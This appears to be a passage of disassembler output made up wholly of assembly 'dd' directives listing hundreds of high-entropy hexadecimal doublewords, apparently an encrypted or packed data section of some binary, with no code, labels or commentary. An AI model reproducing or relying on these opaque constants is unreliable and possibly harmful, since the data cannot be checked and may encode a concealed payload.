		dd 0C216FE53h, 801A46F3h, 96416BA9h, 504C74BEh,	128EB05Ch
		dd 61DDD33Bh, 8054DF43h, 4C2937F6h, 8402BC3h, 20652DE9h
		dd 9BF711A9h, 0F3404A5Bh, 1394D4BBh, 0B74586E2h, 8AC527B1h
		dd 3083ABC4h, 5060704h,	0E5D0F792h, 4B41E84Bh, 5C4820ABh
		dd 0C29030FFh, 26ADE54Ah, 0E9FA4EE4h, 0B05AB215h, 6812FE06h
		dd 0BFB60F3Dh, 1890C550h, 0B2132B25h, 0D42CDA74h, 0AB1064ECh
		dd 6F96012Fh, 0AD7E92Fh, 3F093F63h, 6123748Dh, 227F0668h
		dd 0D6FCD296h, 7869CE91h, 0A520B2F2h, 68D09D7Bh, 43208798h
		dd 15D1809h, 0DCC12CEh,	5BDD25C2h, 0AF375E4Dh, 8E33A822h
		dd 5EF33101h, 0B0B2620h, 17F581Ch, 801E862h, 44D3295Bh
		dd 0ACA65792h, 65AFD2E2h, 812916B5h, 7FD63115h,	4C0CF488h
		dd 0E7816CECh, 6E552720h, 1FB10721h, 53286800h,	401DD525h
		dd 7304117Ch, 44577B2h,	284169F5h, 70CAC44h, 7CA7BD55h
		dd 0F62D81Bh, 387F1EF7h, 0CBC2A2CBh, 97889640h,	21C6A31Ah
		dd 0F9E001E4h, 90414419h, 7DC2FBCAh, 87DA3833h,	541636FCh
		dd 0E33FBA3Dh, 26E9867Ah, 0EDD6DEC5h, 69099653h, 22654ABDh
		dd 721C67E6h, 0F1B455B6h, 0E059F26Eh, 2609EE80h, 442F92E9h
		dd 0E6CFC2E1h, 5B9F4C70h, 7A68048Ah, 0A790CD55h, 0FD15F5EDh
		dd 593433Bh, 28DCC76Ch,	183EBB9Ch, 12734C34h, 18F3444Eh
		dd 0A446FC12h, 0D13FADCh, 0B52C0A13h, 37C12EE9h, 34025352h
		dd 4AA35958h, 3FE0814Bh, 0B03B8D3Dh, 0EC122A33h, 61410B9Ch
		dd 7950E94Bh, 642E3641h, 0C383F8F7h, 0A5C2BD01h, 81136A41h
		dd 0F89EEE3h, 94EC2BFAh, 61119CE4h, 8A23B868h, 0FF661A99h
		dd 7117424Fh, 0E7DED8B3h, 0C2FFB23Bh, 4249832Dh, 44A3434Dh
		dd 4ED8088Ah, 20ACD45Bh, 8E685D1Ah, 648C7B5Ah, 0C0085293h
		dd 0E5326884h, 895FDA16h, 0F85CDE4Dh, 0B052CFE9h, 0E230122Dh
		dd 3E8839BBh, 2F6843D8h, 0F7EC7330h, 0CEBF3095h, 7525AC6Fh
		dd 310D5A68h, 4BE06C8h,	76750582h, 2F22241Bh, 689E8B53h
		dd 78381755h, 55052032h, 0E9C3A1BBh, 0A27F7FFEh, 8CEA922Dh
		dd 8C558D00h, 1CA1226Bh, 3425DB85h, 75959DFEh, 0F4E9B3B0h
		dd 5899BA14h, 2C0123D8h, 256866BCh, 1B5AD24Ah, 0B71FB037h
		dd 0B916BF04h, 7E978602h, 4D9E2DE1h, 0A50F3519h, 0CEBE5D1Bh
		dd 0E943E5BCh, 6E214C44h, 0D77CAB92h, 2FC84D48h, 7E610696h
		dd 8C988B72h, 5775F20h,	0A62B64BFh, 90F1805Ch, 2606486Ch
		dd 9F51E940h, 0ECBB0722h, 0A5703E75h, 0BAFC901Bh, 0CC25174Bh
		dd 2EC20949h, 79284BDEh, 0FB44A7B1h, 66453D27h,	1E4220F3h
		dd 3050A3B4h, 805904EAh, 8088EBF2h, 66CBFEC7h, 7DB2521Fh
		dd 0E9F5E0EFh, 3E25E5C5h, 37D3502Eh, 3A466809h,	0E427F7Bh
		dd 0EBE00B30h, 3114421Ah, 40A7D929h, 0D3955B08h, 57900C68h
		dd 0D5EEC341h, 2FEF3C49h, 59F6D64Dh, 5F072C18h,	75D95B0h
		dd 0F2FD57B9h, 0E9C1B429h, 0E25F8409h, 3935BA57h, 27159682h
		dd 0A496357h, 30B8524Fh, 55020506h, 0BD4ACE2Ah,	0F1F89C16h
		dd 0E580D901h, 3ED5F6C4h, 0C5FE6307h, 670457AEh, 0D102D6D2h
		dd 0B2E939EAh, 13680071h, 6FB8946Fh, 12A698C6h,	59748862h
		dd 1BCC41FEh, 767BE47Eh, 0FE30FF41h, 0A17B1E18h, 0B1DBD23Ch
		dd 0A8A3F4Bh, 0AF545312h, 0B94B83CAh, 0FEA59DB1h, 0B431C4B8h
		dd 0E0412611h, 56AF92Eh
		dd 0DF073966h, 0F32D07AEh, 0B8175E0Dh, 0EDDDF443h, 4EADFF04h
		dd 1D5E2575h, 5C58E75Ch, 0C486A056h, 0FD89808Ch, 0ADC4659Dh
		dd 0BA87517Eh, 6A604666h, 25B99BBBh, 36F595ABh,	1CE925F6h
		dd 1DBBD980h, 5200EF09h, 0B951DBF7h, 6332583Bh,	45A4AC3Eh
		dd 31A92EE3h, 0C28000B6h, 0D5285AE2h, 8253080Bh, 0EB4A6027h
		dd 502EEAFCh, 1305B10Eh, 0B663AB71h, 2D7210F3h,	56DAA05Fh
		dd 68BFF4Fh, 0A4D76C26h, 0DC973B12h, 8102ED81h,	51381580h
		dd 0DE52FAC7h, 627D896Ch, 52D37F46h, 12B6F2E8h,	737AB280h
		dd 7F4E3BC4h, 0B5299AD8h, 0FB507261h, 420E37D0h, 0A7643EF6h
		dd 9AD76626h, 0BED1F743h, 0F2B32286h, 2627672Ah, 64B45004h
		dd 0C1EBCBB5h, 3C816FF9h, 374BDEEAh, 2031160Ah,	0BA05A256h
		dd 3C7946AFh, 4C9FE201h, 0EE405DABh, 40263D18h,	51F932Bh
		dd 0F2016950h, 14680312h, 6AD8E16Bh, 0CBD9A6B1h, 920DE22Fh
		dd 5E028AAAh, 32FCA420h, 511158F0h, 46A2A427h, 5F07A9A5h
		dd 0ACEB2CC6h, 7622C89Ch, 2804E3Ch, 3F036CF6h, 0C123E64h
		dd 0D343EEF2h, 81F0DCDh, 17D3C50Ah, 0F351BB8Fh,	136C13FAh
		dd 9DB8817Fh, 27737A2Ah, 4EE2E356h, 0E47A8083h,	0B54E89E1h
		dd 0FEA990C4h, 0CA5D09D2h, 7CF6CFEEh, 0D8C7A368h, 0FF789BCh
		dd 7ACDFF01h, 0C660D789h, 7929BFB8h, 2F05DF8h, 0D34C1758h
		dd 439305FAh, 0C7E7FC36h, 7D09749Bh, 402FBF6Dh,	0E6C9E21h
		dd 10E918DFh, 0E0C11FD0h, 1F312D80h, 0B3522DDh,	0A4971C57h
		dd 0AC898D7Ch, 614822C1h, 0D218F765h, 0EB318073h, 28080634h
		dd 770F1D2Bh, 0C1E9B106h, 38882E76h, 37BBF31h, 782DBB20h
		dd 0AA7F201Eh, 268F5E87h, 5A54FE29h, 3D33F05Fh,	22AE646Eh
		dd 5B9F0083h, 0F189DFFCh, 4DE95BC2h, 69067CE5h,	2BFAF8D2h
		dd 0C89CAC92h, 11F8A5EFh, 993B117h, 579FD245h, 0C0481A0h
		dd 0C0A67311h, 45F576A2h, 18462592h, 0E8228126h, 664DB6C1h
		dd 0F776E03Eh, 0EECCFE88h, 0FD58F8E6h, 59C1FE60h, 8C85C620h
		dd 0C246E849h, 0F9011256h, 81D20020h, 0DF31F83Dh, 0CFC45B5Eh
		dd 0A65A03CBh, 283A12BDh, 0BE34940h, 0EC7C630Fh, 54D100F3h
		dd 0D3F75E8Bh, 0FE4EE943h, 2A50C509h, 0CEE3756Fh, 47462825h
		dd 0CFAC0FDDh, 0FDEB344Ah, 7F871C92h, 51445C0Ch, 11426804h
		dd 26BC3205h, 0F7B9DD01h, 0DCCD89F3h, 94BD5D23h, 0B18C5FEBh
		dd 0A3A33AA2h, 9E30E358h, 0C7BCA2Dh, 626EC426h,	746CAC00h
		dd 25F1E933h, 5BE40106h, 29AB2E50h, 6BA2C15Ah, 583D3ACFh
		dd 4133C815h, 0E9626A05h, 60C8F3FBh, 8CDF4F2Dh,	0F0412894h
		dd 38C5A03Fh, 0F87ABF27h, 0AC414FE3h, 9AA34B17h, 0B3139C00h
		dd 0CB0FE908h, 800D1ACFh, 2D6F7D60h, 566701A3h,	8FE53504h
		dd 68FDEAA8h, 3CC3C28Ah, 0F5DB107Ch, 64080508h,	29E2EFA2h
		dd 4BE54384h, 80F5C71Ch, 2192BF57h, 72BD23E8h, 11976986h
		dd 0E9614154h, 0F275D168h, 0FF2221D8h, 0B680067Ch, 4E6C080h
		dd 274AF6E8h, 4B7331F8h, 666428CBh, 684D99Fh, 0C1642E9h
		dd 0D1C8FE28h, 610BCC59h, 8B719CD0h, 0F6C28897h, 447D07F0h
		dd 0C1B77BD1h, 0E8C981F0h, 58C3486Dh, 0B86F2D12h, 27B6A6EFh
		dd 0F47AEDF8h, 0E05F6E0Bh, 0D92B8044h, 9F383F0Dh, 1F6D8F40h
		dd 0A7857D4Ah, 0E8133AACh, 247C45AEh, 84A0745Fh, 9C6DFF3Fh
		dd 853C9CC5h, 0AD9C348Ah, 0E978C27Eh, 0ABF04AE5h, 0C12A2C2Dh
		dd 29240FBh, 5A8584FFh,	0C20BE0ABh, 6054A709h, 82C6DD89h
		dd 79176812h, 0CB0092E3h, 0E96AD93Eh, 0BD9CC5BFh, 1178B61h
		dd 76C4CD00h, 53520413h, 0A06902EFh, 0ADDC9A2h,	55107DA0h
		dd 5D84B2Fh, 0F11D30E9h, 0DE63C1Dh, 0CCC06BDh, 77181BDBh
		dd 0A7850C93h, 0B9D538E9h, 78E1B609h, 0A4C080B2h, 901A286Dh
		dd 0A1E9F09Eh, 47215B08h, 4F2D18FCh, 4046ED55h,	894C5908h
		dd 0C15A7374h, 679D6644h, 0FA18F21Fh, 45A786F9h, 772DBDBBh
		dd 4457BDB2h, 0B1694FE7h, 0B1CE7BF3h, 735DE909h, 638BCA51h
		dd 54D2B052h, 0F9D34AE9h, 16B803DFh, 64F4D1Ah, 0EC6E510Ch
		dd 6640466Ch, 0F77231h,	0E7CE81FEh, 5627B87Ah, 0CC28EEBCh
		dd 90BB891h, 7905C4B7h,	0BEC24BFAh, 2789B525h, 3FE5CDh
		dd 3D6DABF4h, 2EFBE90Fh, 3CBB0313h, 429550A6h, 491B79DDh
		dd 0F357DDC2h, 0E95C84C6h, 233FA1ADh, 6309D630h, 0BC3E52Eh
		dd 21B166A6h, 39D9E3ADh, 7BC4F260h, 0FC472325h,	1F65EF6Dh
		dd 3970FEF6h, 91250D68h, 7B56A796h, 0FD37CE54h,	0B0C3E812h
		dd 0AEAF9AE9h, 0DCC6956Bh, 11203AA4h, 61314C55h, 0BBFC6912h
		dd 23BBAB61h, 0BCD71A36h, 80BF704Ah, 9FF368A4h,	2570BD7Fh
		dd 9260F849h, 0DBBF8313h, 3F74021h, 6A7A1916h, 271A5BB8h
		dd 95897DF2h, 61E684h, 0C4803BB4h, 7CE4E696h, 0F4E0ED82h
		dd 6E0BDFE6h, 0C8B70051h, 0B9E9F928h, 0BB1C2D9Ch, 74AE8122h
		dd 904A9AC4h, 49DC0769h, 0C22943BAh, 0E7EA90E9h, 0D23C6357h
		dd 6CA4E1DFh, 0FEBF747Ah, 92914146h, 53C55C13h,	79A2A54Bh
		dd 18689887h, 340BF37h,	0BA24E9D8h, 2C47E474h, 51ED7E8Eh
		dd 0C3880B9Dh, 2A601AB2h, 0FA2D70E0h, 0A03EFC08h, 1A882F08h
		dd 3C338E96h, 0B9D39BE5h, 0D16AC8A6h, 962623BEh, 4861125h
		dd 776C0FA0h, 55656356h, 0F9ABF4D2h, 0FC3A1341h, 55FE9436h
		dd 0CB37A65h, 408A7D54h, 1EF26823h, 613E799Fh, 3FCA26E9h
		dd 49F83C4Eh, 78AE50C5h, 7CE276ECh, 53D04859h, 0BBF58D85h
		dd 0F91C3945h, 9A48C7EDh, 39010D16h, 17B23C5Fh,	0B9B2031Bh
		dd 62E26809h, 0B6C1871Bh, 9FE33E49h, 0E3EA1F84h, 0DD441681h
		dd 3903A9E2h, 0D1010506h, 2808EAC7h, 0FD044BBDh, 16688299h
		dd 51CF51Bh, 7E59CD2Fh,	0D342D3A4h, 0C0E9C2A0h,	0E45C81Ah
		dd 1FED2C3Eh, 577A1ACFh, 7D0F87Dh, 983DDA2Dh, 8B3AF20Ah
		dd 68FA2F77h, 0EB800550h, 1EA8A0A5h, 0F7FC53D3h, 0AF7CC401h
		dd 72C88901h, 0C7ABD282h, 0F00B30CAh, 0E93A7DCBh, 0E4B2DF51h
		dd 0ACD04D78h, 8C12124h, 5417D7D8h, 223A71FBh, 351A812Ch
		dd 0BA2BB757h, 19932E90h, 519ADDF7h, 86A4EB04h,	4073E78Bh
		dd 0B88B23CBh, 31181BD9h, 0BD2C8B35h, 0EB0DF947h, 0E4D99BD5h
		dd 2668C334h, 0C0AD14D3h, 4CAC1E48h, 0F7E61897h, 0D0229FDFh
		dd 18FA1526h, 0CC198D04h, 0C4FB2908h, 5B0802DDh, 45BBE921h
		dd 1C3BC9B0h, 631F4A3Eh, 254BDDFEh, 48FC18FAh, 0D0FE0EB7h
		dd 0BD555900h, 35A1686Eh, 0C29E78F8h, 0D0C3D625h, 0AC094EBh
		dd 0AC4176BEh, 40BF073Ch, 0F7AE3FE3h, 0B8581CF4h, 5034280Fh
		dd 0A8934658h, 3AF1009Dh, 2103C37Fh, 0F6D459CFh, 186A3C11h
		dd 0D9B25D8Fh, 55AA2617h, 73638421h, 9B3F006h, 0A15734CBh
		dd 97685FF8h, 0E681E53Fh, 68017247h, 4DC71E4Ch,	0B5475520h
		dd 0FB30BD05h, 7F48C806h, 16EB5899h, 4BB9B70Bh,	1C6B20F5h
		dd 0BD77B6A2h, 3B252070h, 6977FEEEh, 0F8B7C56Eh, 0AFC3062h
		dd 3058E511h, 7B38E87Ah, 32BA4F6Fh, 82DA1057h, 9FD5A420h
		dd 51C92F5Eh, 0D0EC1658h, 453A99E9h, 5638607Ah,	21FB4AB1h
		dd 65888D5Bh, 30847EBDh, 0FD9FCDABh, 2EAC6528h,	0EFF5EFE8h
		dd 0C7013731h, 8D5EAC66h, 0FBA77BD1h, 0B6A9AD4Bh, 8653484Eh
		dd 0B19CD01Ah, 0C816B4FCh, 1ABC0185h, 0E6E9B941h, 9BE8624h
		dd 70C92DF5h, 4E800700h, 0F1FC5424h, 7D08B2D0h,	7B7D9927h
		dd 7B2528C2h, 5BA30DBh,	55619A2Ch, 94481260h, 0F841AB4Ch
		dd 4D2903E1h, 4E6818C6h
		dd 4C05A3FDh, 104402EDh, 5D700DE9h, 0D626992h, 574E78F0h
		dd 8014212Ch, 312AE9E2h, 8326D7AAh, 60C22713h, 5F4DEAADh
		dd 0BAFD6D9Bh, 7450D422h, 0BE58C5BFh, 9952403Ch, 2B0B0916h
		dd 0DF6B10D6h, 45953C1Eh, 0B9A508CBh, 4204CB28h, 313BD92Dh
		dd 5D6B0BEEh, 0F0404961h, 0B5053950h, 1E88314h,	6CB322C7h
		dd 0D075B7D9h, 81E4A281h, 697DEF62h, 0A5D0D37h,	0D7C91EADh
		dd 0A7DECB32h, 0EB6B3502h, 803FD009h, 59D86807h, 0B7869834h
		dd 36C1AF36h, 7A252933h, 8F7C42Ah, 0A9245907h, 5FE9D262h
		dd 0E6BB0148h, 78A4B24h, 5F151C3Dh, 390C3E98h, 0B42925CEh
		dd 21208179h, 0F9CD0CC0h, 60E90302h, 0D0F7DB49h, 0E11F5D05h
		dd 0CF0DC9D3h, 0B12B185Eh, 9B348240h, 5FCAF3DFh, 3A4714C9h
		dd 0D6592A09h, 96486994h, 599B3DA5h, 0F0439F16h, 305D2E9h
		dd 80CEFE8Ch, 0A3D392C6h, 121AEA4h, 922A5984h, 0F8585861h
		dd 4BD69CB5h, 0EEBF170Bh, 0B1A25427h, 62005E7Fh, 0ACBDB3Fh
		dd 5BDAA4Fh, 453E0918h,	90C919E5h, 18212229h, 4EF20D1h
		dd 7F5F8E31h, 0B32EA6B8h, 9DEDA8DAh, 0B580F7D0h, 0D8278D5Fh
		dd 0B9BD42Bh, 1CA3352Eh, 6BC134EDh, 0C9993F5Eh,	16AE9440h
		dd 296C1072h, 58D32CFBh, 14335902h, 8DA15F17h, 0D46B66EDh
		dd 0B527E971h, 0A17E6EA9h, 6C627845h, 1E189E52h, 0EEBED020h
		dd 6ED37100h, 78D2E681h, 68F9A041h, 755195DAh, 0BB728A87h
		dd 5D6CF8E9h, 0B31952AEh, 3A5CBEA2h, 5E7C3E8Ch,	0B47DA9FEh
		dd 3BDF1405h, 0F60222F9h, 3625354Ah, 140C0E1h, 480DBF7h
		dd 3F38143h, 0BB5C3E63h, 48985CC1h, 4C29104Eh, 56FB010Fh
		dd 424310C5h, 318968A0h, 0DB603DFEh, 5B4E9D09h,	8125C455h
		dd 7E60827Ah, 701D5E1h,	0BF42535Dh, 6AE982CBh, 0D0BF8989h
		dd 49E97D50h, 4286CE9Fh, 0FE9F8CD2h, 75CCC320h,	0CCF0292Fh
		dd 0B84AB7FAh, 0F5A6BE75h, 0FE1F740h, 17685B70h, 0F70DFFA2h
		dd 0C43E7707h, 3FB3FC1Dh, 0D1318C4Fh, 3FC1125Ah, 118E3D7h
		dd 0A8EB25CBh, 0C3121365h, 4C1400BEh, 0A62BE947h, 4870F9BDh
		dd 4DA03BA6h, 7723BE01h, 0FBBA39A2h, 0FE6A8BDCh, 90CD4E98h
		dd 0E8572739h, 0C2293027h, 5D0805FEh, 0E41FD0EFh, 50BEC65h
		dd 7144F768h, 1ABF827Ah, 0F3837A93h, 96D9D4CBh,	0E2B0822Ah
		dd 690ABA05h, 7264554Fh, 73EE0B5Fh, 0EAAFE8E9h,	0C056EBE4h
		dd 84764ECEh, 0F2811B03h, 0E0D005DDh, 0F1E9D689h, 52F60E2Fh
		dd 72A0E1C9h, 8862F180h, 0A92FCF7Ah, 49CA7EB6h,	19C38F5Eh
		dd 0F83D4EF3h, 4B0E183Ah, 98D52910h, 0C7C507C2h, 0E41CA101h
		dd 0BF7D95C1h, 5BA0A44Fh, 53302F12h, 7228A740h,	35484F01h
		dd 3BF4588Eh, 0D1D8A03Bh, 0FA56E328h, 432F1F0Fh, 0E9EE8129h
		dd 71858867h, 8B405FF8h, 78BA02BFh, 54C5E0B3h, 25134CCh
		dd 0B77ACCA7h, 3DF3CD60h, 7E02280Bh, 6F20844Bh,	0B072A910h
		dd 0A2FAA103h, 6812FC68h, 53BECC82h, 624CE9FDh,	1DBC030Ch
		dd 0B7D12238h, 5FE150D2h, 0B09DFDCEh, 97D1F057h, 14DD5A12h
		dd 5EE9258Fh, 7A8B0FE2h, 35470409h, 8FF3E905h, 0B69B57ABh
		dd 0B3C72E85h, 0E688B58Eh, 9073CA35h, 9E71FE41h, 0E3E39208h
		dd 515CCBD1h, 0D5D4A7A1h, 5B09EE10h, 0A2D00A2Ch, 3A9CD9E9h
		dd 0A04A5FBDh, 2E457D4Ch, 815175F2h, 0B0FC50A5h, 969B90E1h
		dd 55F00B1h, 671A3716h,	22767C9Dh, 5B44BD08h, 6BA1681Ch
		dd 7AF6F42Fh, 32229361h, 62C71CAFh, 62093097h, 76546220h
		dd 681356D6h, 72B97F15h, 0C25F51A2h, 5B46D4C1h,	2A19B0E9h
		dd 95858FD3h, 0F7127AE3h, 0F624AAF8h, 0A25FB2EBh, 0BE30575Ch
		dd 0D9BFCF93h, 4F984318h, 0E6550A2Dh, 7770B70Fh, 3B98EAE6h
		dd 6DE9D70Bh, 90905649h, 28B9C367h, 0E946A86Ch,	0A9DF4AD5h
		dd 0FD78863Ch, 8CC30075h, 2DA674DEh, 2266256h, 9B281051h
		dd 0AA6A881Fh, 77F18100h, 0B76F6542h, 5812D379h, 120237B4h
		dd 0AE797C21h, 0A6082D56h, 4D7627FAh, 6E1ADD89h, 0ED5A4B50h
		dd 0DEE8106Ah, 84685101h, 70215974h, 0C401E1F6h, 0E9484462h
		dd 0FB7364A4h, 51A9C118h, 3F1EB8CFh, 0E7897E16h, 9AE47D02h
		dd 182A52A0h, 88B473FAh, 3E27F502h, 0F69D8221h,	63F80B60h
		dd 0A47B4F2Ah, 715D5B2Dh, 0A284BC2Ch, 0C1380945h, 58F4FD8Dh
		dd 170956B3h, 44166E2h,	21EFBA49h, 939F7B0Dh, 72B8DDB3h
		dd 4E745304h, 4F518025h, 0F9269FA7h, 8E123009h,	193806A1h
		dd 96D802D3h, 0A1829E55h, 6876E617h, 549A2242h,	0DBD463CFh
		dd 98C17B3Fh, 9ECDCE65h, 7AE7B609h, 4CBB7155h, 65055780h
		dd 83E92AE4h, 51D5D3EEh, 464D6890h, 5B31C517h, 71EB37E0h
		dd 32964834h, 8A4FEC3Bh, 3082DF93h, 6328A82Ch, 1E6FA735h
		dd 79C8D292h, 32DD690Ah, 297942DEh, 6CD8EE05h, 0DA252DE9h
		dd 1AF5B823h, 0C0B71393h, 4E73548Ah, 0FE69789Ch, 0C6A45252h
		dd 0FEDBE428h, 1766D640h, 0F7C35BEh, 34ACEE2Eh,	8922C60Ah
		dd 0D8D20918h, 0A05CB9E9h, 2CCFF61Dh, 0B1503F0Eh, 0E2675B26h
		dd 5365234Fh, 2C1C5512h, 4FBD0DF0h, 6B72004Ah, 8DB5B0BBh
		dd 0EB483194h, 0EC5F31F9h, 212A563Fh, 0A6547CB4h, 1D044353h
		dd 0EC8003C0h, 50EB20FFh, 667D46Ah, 296F720Dh, 8811CCBh
		dd 6ED4E2E9h, 2EFEBA00h, 35C154D9h, 40604EAh, 95C40DCEh
		dd 0C7C5EA93h, 0CAFE5381h, 0BFDB043Ah, 4B5EE227h, 0EB086B2Dh
		dd 20D641DBh, 0FAE4C791h, 0B940ED98h, 14D550F7h, 318F4B43h
		dd 4E0DF5Ah, 0FFE85D85h, 0B0F4BCD3h, 73317C1h, 0F90114E0h
		dd 0A3651468h, 3B0F418Eh, 456D8CA1h, 8371EF4Fh,	0B001CCCAh
		dd 85B22ED5h, 10CC009h,	54C66CD5h, 0A159C6BBh, 9656909h
		dd 64307FF2h, 62D4BE7h,	4C3BD86Ah, 7504EC51h, 0C6658F71h
		dd 57023769h, 0D03A8BFh, 3E605F1Fh, 4E9FF2E2h, 4E01901Ch
		dd 0C2CA449Fh, 4BAFCA86h, 0A68439ACh, 9CBD17F2h, 0DE478DA5h
		dd 89BE775h, 0E96130BFh, 7380FC90h, 645631C9h, 0E3F9D115h
		dd 0F23F57F0h, 65B1F77h, 330ED741h, 0E12E19CBh,	8CE23E3Fh
		dd 0EB8408D3h, 0ED373F26h, 661E09AFh, 85485EA7h, 5DE7623Fh
		dd 4FB95060h, 4C072F12h, 8814A60Ah, 16FB0150h, 0AC087A68h
		dd 0F2BDC07Ah, 12695258h, 0AD8DB3E9h, 62D5974Eh, 0B34E47CBh
		dd 257201CCh, 0D6015DB7h, 8000A31h, 4B11685Ah, 1A6317Eh
		dd 0B24C2F94h, 2768DFB5h, 307B1F76h, 223C0E8Bh,	5FC13094h
		dd 0A28E6D8Eh, 0F50BCB09h, 0EA77648Fh, 9811F739h, 310020C7h
		dd 68155FF9h, 8631536h,	1FE2A1E9h, 275E8B5Dh, 147791BAh
		dd 25169BF7h, 0E9418FD6h, 0B0018439h, 70566162h, 22F60F02h
		dd 0BEE58F63h, 0C50B1758h, 53DAE2Eh, 976526FCh,	5669E1F9h
		dd 3A9881B0h, 0E20173B8h, 0BB81AFDh, 59AA8B0Ch,	45D5D221h
		dd 0FBE90924h, 407701A9h, 0C0E760AEh, 34B1CE45h, 0BAB47710h
		dd 5CE98052h, 42E310Ch,	51F3ADBBh, 0A4BC8152h, 7F62ED25h
		dd 8A8B31Ch, 0E96E6095h, 9FCF70F5h, 125A1974h, 0C5E8FF4Dh
		dd 0BBBC6BE9h, 0F6815E00h, 0C1B8A55h, 207789BCh, 6E24E935h
		dd 2C9C2216h, 0DAF826B8h, 5FACE112h, 0AC1CD3B7h, 0CBEDE700h
		dd 89E12B35h, 270F90EFh, 69183E7Eh, 157B17ACh, 4AC72158h
		dd 19046FADh, 803E2205h, 6343404Ah, 8CE9270Ah, 0B980FD12h
		dd 5F2DA103h, 7F86529h,	10B1605h, 3A7A61D8h, 97A27410h
		dd 57A3745Ah, 26A72079h, 79DC595Ch, 58277097h, 0B10F48D3h
		dd 0BF1D20A3h, 0B2DB4CFAh
		dd 0FE8EB407h, 0C2CC24C4h, 0FB5C890Dh, 0BF525970h, 0D2BDF850h
		dd 0E9C208D0h, 5E17CC3Eh, 0B7B946FEh, 566230BCh, 564878Eh
		dd 6582BA5Eh, 0E657AFDFh, 0FC2D85BEh, 825254F3h, 0F04B194Fh
		dd 0C6E8407Ah, 0D5515D02h, 3C520E12h, 0EE13A64Ah, 0A2C06AE2h
		dd 0E935C44Ah, 7CCFE52Dh, 8C905A08h, 87250721h,	2041C409h
		dd 9980570Eh, 521C50AEh, 0D493CA88h, 4D2409FFh,	509EB279h
		dd 93C3408Ah, 8C0856ACh, 2B6E4D45h, 2C32059Dh, 9706DB58h
		dd 2C42B873h, 5836F40Bh, 2D57544Ah, 0B3007B51h,	50AAB17Eh
		dd 0DDE84889h, 0F114B158h, 0C494FC5Eh, 9ADBE84h, 0F587805Bh
		dd 0F8382CA5h, 4902561Ah, 3422EA4Bh, 8AF5B5Ch, 7F279851h
		dd 0A691EA3Eh, 0C8E95407h, 8BC47DF9h, 21525D2Bh, 0E81A98E8h
		dd 0FEB52738h, 84B2F027h, 0B2AAAA0Ah, 738E70A7h, 7D4D0981h
		dd 0A9003DAFh, 7EAA6E43h, 4C12D495h, 3C1F3124h,	0F70174EBh
		dd 0ACB68D0h, 614EA26Ch, 330F24Ch, 855B05Bh, 590DC501h
		dd 3ECEBAB2h, 0E4E7681Ch, 0C15C036h, 29912DFDh,	0F3752607h
		dd 145F2964h, 8B8F0C6Ch, 0B42DF952h, 81CF34EFh,	14510E2Eh
		dd 3E85AB14h, 3233007Ch, 90B382BEh, 89C49D85h, 6049F102h
		dd 78FCE925h, 3E4C9AF1h, 232F157Bh, 90C81343h, 97F764h
		dd 0E51ED6B9h, 0B0E1EE7Fh, 1C350B6Bh, 5C5E0660h, 0CC5E3F09h
		dd 4FABA1FDh, 4030323Fh, 0EA0B3972h, 83AE6DBBh,	870B4C5Ah
		dd 0C9BC5E09h, 0C24E6D72h, 844314A1h, 7D32E096h, 0FD71BD93h
		dd 0A74B79Fh, 0C0D95480h, 80031DECh, 0E60849C4h, 3CF67207h
		dd 5381468Eh, 0B72538D8h, 0C4CF94F1h, 93BBFB9Eh, 652F1214h
		dd 8133898Dh, 93346D3Ch, 59465630h, 409639F3h, 207866Bh
		dd 619C31A6h, 91E8DF16h, 2E2BA1h, 2B72A2Dh, 0C529282Ch
		dd 1CC04558h, 473B04A6h, 0D5F5023Ch, 0F2AE83F2h, 20540A46h
		dd 14E45E21h, 0AC4A07F1h, 49CC4E57h, 0F176FD50h, 4F91F662h
		dd 5424E74h, 27F1E5FAh,	0C2299418h, 0E59F21A4h,	16E90B76h
		dd 2C62D1D0h, 0ACD3452h, 1705010Fh, 2F2912E6h, 806CFA88h
		dd 14212762h, 0C44947Fh, 0AECAAA92h, 0EBD22512h, 0C45BB622h
		dd 86922DCEh, 7649B079h, 76565975h, 23D1D306h, 406AED5Ah
		dd 3582F327h, 0D0B53078h, 0F0AC9866h, 1C2C5C03h, 15D6810h
		dd 7AFAE181h, 22803E82h, 4692F3EBh, 969DD101h, 53434A0Fh
		dd 2341FB65h, 6551613Dh, 0C28301F8h, 0FB94F555h, 50804CC2h
		dd 24880973h, 8A09ABCh,	55A45D4Fh, 7630047Bh, 0E00CE9C4h
		dd 0B23C5281h, 93D313E8h, 53E71992h, 0BE59933Dh, 9D8CE22Ch
		dd 5DB54480h, 30277AB3h, 20147DEBh, 8028CB39h, 0B75313C3h
		dd 4A8FE944h, 157AE405h, 0E00E9E9Fh, 0B55102D8h, 0EEE58077h
		dd 3C40D875h, 0CD9FE9C5h, 43ED0B17h, 280B4E03h,	62B8C827h
		dd 53DB542Ah, 0E1FF95F2h, 0CE2E89D2h, 68520050h, 3C391ECEh
		dd 30CDED5Ah, 6335303Ah, 0C65071D9h, 20585AEh, 0FA29142Ch
		dd 5008AD10h, 169FCF7h,	0E097D84h, 8DF0A07h, 8B1CA01h
		dd 448360F9h, 5B1F54BCh, 15B8E2E3h, 2EB55857h, 1B49DEBBh
		dd 277276DCh, 484FCF82h, 0BFE9CFC0h, 4931FC5Ah,	0B6007B49h
		dd 0F40730D0h, 37EC805Ah, 0E975C130h, 0B999ED9h, 8484C629h
		dd 1CEA164Ch, 1B82EDE4h, 5F049816h, 0EC87C9AEh,	0F9B580B5h
		dd 0B1020CFEh, 91A1D70Fh, 14E62F16h, 0E53BD907h, 0EA88D725h
		dd 8177A70Dh, 0B19E9CFh, 7254D6C2h, 5109F278h, 86456421h
		dd 9D0D4D31h, 977D362h,	2A31800Bh, 0ED4BB32Ch, 0EC0AFAF0h
		dd 0D9012C47h, 4ACA10B5h, 0A51307BCh, 0A0BC64AAh, 94546D4h
		dd 0B8DEE588h, 0E8EB8109h, 4B2959E4h, 39A8C3h, 72435C9Ch
		dd 0B01FCD81h, 24384CB5h, 6F62BC01h, 0BDD2964h,	80D3BC4Fh
		dd 30910EE5h, 9D7C34E9h, 0FABA16EDh, 6535CA45h,	68C208ACh
		dd 755B2033h, 4F65D603h, 0D7442546h, 55CB6359h,	4CB2A687h
		dd 3505F621h, 89F97C26h, 0A848BFEh, 859973E9h, 0AD8AF6ADh
		dd 0A6216CC1h, 4E18D89Ah, 0BE68106h, 73600E6Ch,	7FC0B82h
		dd 95C21077h, 78B8BD03h, 244BD868h, 0CC9FBA3h, 51A5545Bh
		dd 83D14Eh, 0BAD8A3E9h,	0D64C0924h, 174840Ch, 532DD25h
		dd 254796DFh, 0EA7CF3CEh, 0BFAA054Fh, 51A16BF8h, 5F5A02F1h
